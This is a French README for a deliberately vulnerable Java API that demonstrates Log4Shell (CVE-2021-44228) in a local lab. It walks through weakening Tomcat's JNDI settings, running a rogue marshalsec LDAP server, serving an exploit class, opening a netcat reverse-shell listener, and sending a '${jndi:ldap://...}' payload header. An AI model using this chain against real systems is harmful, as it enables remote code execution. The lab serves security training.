nix-xin/vuln4japiUne API REST vulnérable basée sur Java pour démontrer la CVE-2021-44228 (log4shell).
Une API REST Java vulnérable pour démontrer la CVE-2021-44228 (log4shell).
Log4Shell a pris Internet d'assaut début décembre 2021. Une vulnérabilité Zero Day dans la bibliothèque de journalisation Apache Log4j, capable d'exécution de code à distance (RCE), qui a poussé des organisations du monde entier à se démener pour corriger/patcher/atténuer leurs applications Java exposées au public. Alors que la communauté InfoSec s'est mobilisée pour fournir une analyse continue et des solutions aux équipes de sécurité, la communauté Log4j s'est activement consacrée au développement de correctifs pour mettre fin à cette vulnérabilité.
J'ai développé cette simple API REST vulnérable qui démontre le chemin vers l'exécution de code à distance (RCE) en exploitant cette vulnérabilité à l'aide du serveur d'applications Apache Tomcat. J'espère que cette preuve de concept pourra être utilisée pour former vos équipes SecOps ou pour éduquer les développeurs d'applications actuels et futurs. Formez vos équipes et améliorez vos défenses, y compris, mais sans s'y limiter, les règles/alertes SIEM, les EDR, les SOAR.
Pour comprendre le flux de travail de cette attaque, jetez un œil à ce graphique fourni par l'équipe suisse d'intervention en cas d'urgence informatique GovCERT.ch : https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png
Ce tutoriel et le code source sont fournis uniquement à des fins éducatives et de formation. Veuillez les utiliser de manière éthique et responsable. Ce tutoriel a été préparé en supposant que l'attaquant et l'application vulnérable se trouvent sur le même ordinateur. Pour une expérience plus réaliste, répartissez l'architecture et exécutez l'application vulnérable sur son propre serveur et utilisez quelque chose comme Kali Linux ou une autre distribution pour simuler l'attaquant.
Commençons.
Une fois que vous avez installé Java JDK et Maven, en supposant que vous êtes sur une distribution Linux, changez de répertoire vers votre emplacement vuln4japi et construisez votre projet.
Remarque : Vous pouvez modifier certains composants de l'application avant de la construire. Par exemple, vous pouvez modifier le chemin des journaux log4j dans le fichier log4j2.xml. Ou vous pouvez changer le nom du fichier war résultant dans le fichier pom.xml. C'est entièrement à vous.
cd /path/to/vuln4japi
mvn clean package -DskipTests
Si vous ne voyez aucune erreur de construction, vous devriez avoir un répertoire target nouvellement créé avec votre fichier vuln4japi.war. Bon, nous reviendrons sur ce fichier un peu plus tard. Examinons brièvement Tomcat.
Selon votre version de Java 8, les versions ultérieures de 8 peuvent avoir ce paramètre particulier (com.sun.jndi.ldap.object.trustURLCodebase) défini sur false. Cela empêche efficacement JNDI de charger une base de code distante via LDAP. C'est ce que cette vulnérabilité exploite. Nous devons donc modifier le fichier catalina.properties de Tomcat pour définir ce paramètre système sur True, rendant Tomcat intentionnellement vulnérable.
Une fois que vous avez téléchargé apache-tomcat-8.0.32.tar.gz pour Linux, décompressez-le quelque part comme dans le répertoire /opt.
tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt
Changez de répertoire vers /conf et modifiez catalina.properties en bas du fichier.
Remarque : Utilisez votre éditeur de texte préféré. J'utilise vim dans cet exemple.
cd /opt/apache-tomcat-8.0.32/conf
vim catalina.properties
# ajoutez les propriétés système suivantes à la toute fin
com.sun.jndi.ldap.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true
com.sun.jndi.cosnaming.object.trustURLCodebase=true
Quittez votre éditeur de texte et démarrez Tomcat à l'aide du script catalina.sh dans le répertoire /bin.
cd /opt/apache-tomcat-8.0.32/bin
./catalina.sh start
Testez votre instance d'Apache Tomcat en naviguant vers http://localhost:8080/ ou avec une simple commande cURL depuis l'interface de ligne de commande.
curl -vv http://localhost:8080/
Si vous voyez une page de bienvenue dans votre navigateur ou votre terminal, cela devrait fonctionner. Nous pouvons maintenant déployer notre application vulnérable.
Copiez votre fichier .war dans le répertoire /webapps de Tomcat. Tomcat déploiera à chaud votre application en quelques secondes.
cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps
Testez votre application vulnérable en naviguant vers l'URL de l'application ou à nouveau en utilisant cURL depuis la ligne de commande. Sur le navigateur : http://localhost:8080/vuln4japi/api
curl -vv http://localhost:8080/vuln4japi/api
Vous devriez voir le message suivant affiché, Hi, this is a Vulnerable App!!
Maintenant que nous avons certains composants qui fonctionnent, exploitons cette chose...
Le projet marshalsec est une excellente ressource pour comprendre ce type d'attaque en détail. Essentiellement, il agit comme un serveur LDAP malveillant qui redirige ensuite toute requête vers un serveur web malveillant hébergeant le fichier .class. Je recommande vivement de consulter une partie de la documentation publiée sur le dépôt Github de mbechler avant d'utiliser marshalsec : https://github.com/mbechler/marshalsec
Si vous décidez de sauter les détails techniques et la documentation, clonez ce dépôt et changez de répertoire pour vous y rendre. Maintenant, avant de construire ce projet Java, je recommande d'ajouter une instruction de débogage d'une ligne dans le fichier LDAPRefServer.java. Cette instruction d'impression sera utile lors de la capture de la requête LDAP provenant du serveur vulnérable.
À l'aide de votre éditeur de texte préféré, modifiez le fichier suivant et ajoutez la ligne comme indiqué dans le bloc de code ci-dessous, dans la méthode processSearchResult().
vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
// ajoutez cette ligne pour afficher les informations complètes de la requête
System.out.println("Request: " + result.getRequest());
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
Une fois le fichier modifié, enregistrez et quittez votre éditeur de texte. Vous devriez maintenant pouvoir construire le projet marshalsec à l'aide de Maven. Changez de répertoire pour revenir à la racine du dossier marshalsec et exécutez maven.
mvn clean package -DskipTests
S'il n'y a pas d'erreurs de construction, vous devriez voir le répertoire /marshalsec/target nouvellement créé avec le fichier marshalsec-0.0.3-SNAPSHOT-all.jar inclus.
Configurons le reste de nos outils d'attaquant avant d'exécuter notre serveur LDAP malveillant marshalsec.
Changez de répertoire vers le dossier exploitz et compilez le fichier Exploit.java inclus.
javac Exploit.java
Si vous n'obtenez aucune erreur, vous devriez avoir un fichier Exploit.class.
Cela devrait suffire. Vous devriez avoir tout ce dont vous avez besoin compilé et le serveur web en cours d'exécution. Encore une fois, en supposant que vous exécutez ce test sur un serveur Linux, vous ouvrirez au moins 5 fenêtres de terminal.
Terminal 1 : Exécutez marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389
Terminal 2 : Changez de répertoire vers le dossier xploitz où se trouve votre Exploit.class et exécutez un serveur Python local.
python3 -m http.server 8081
Terminal 3 : Suivez votre fichier /tmp/logs/vuln4jpi_log4j.log pour suivre les requêtes faites à votre application vulnérable.
tail -f /tmp/logs/vuln4japi_log4j.log
Terminal 4 : Ouvrez un écouteur netcat sur le port 8001. Ce sera la connexion de shell inversé provenant du même hôte bien sûr. Rappelez-vous, nous faisons tout cela sur le même hôte. Pour une expérience réelle, essayez d'utiliser 2 ou 3 ordinateurs différents.
nc -lv 8001
Terminal 5 : Soumettez votre charge utile à l'aide d'une simple commande cURL.
curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'
Si tout fonctionne comme prévu, vous devriez avoir un shell transféré vers votre écouteur netcat sur le port 8001. Examinez toutes vos fenêtres de terminal et observez le comportement dans chacune d'elles en recherchant d'éventuelles fautes de frappe ou erreurs de syntaxe. Il se passe beaucoup de choses ici, donc l'erreur humaine est toujours possible. Faites quelques essais jusqu'à ce que vous maîtrisiez. Vous devrez peut-être modifier un peu le code source, mais bon, c'est ainsi que l'on apprend. ;-)
J'espère que vous apprécierez d'apprendre de ce projet autant que j'ai apprécié le créer. Retrouvez-moi sur twitter @offswitchsec si vous avez des retours ou des commentaires. Amusez-vous et bon hacking !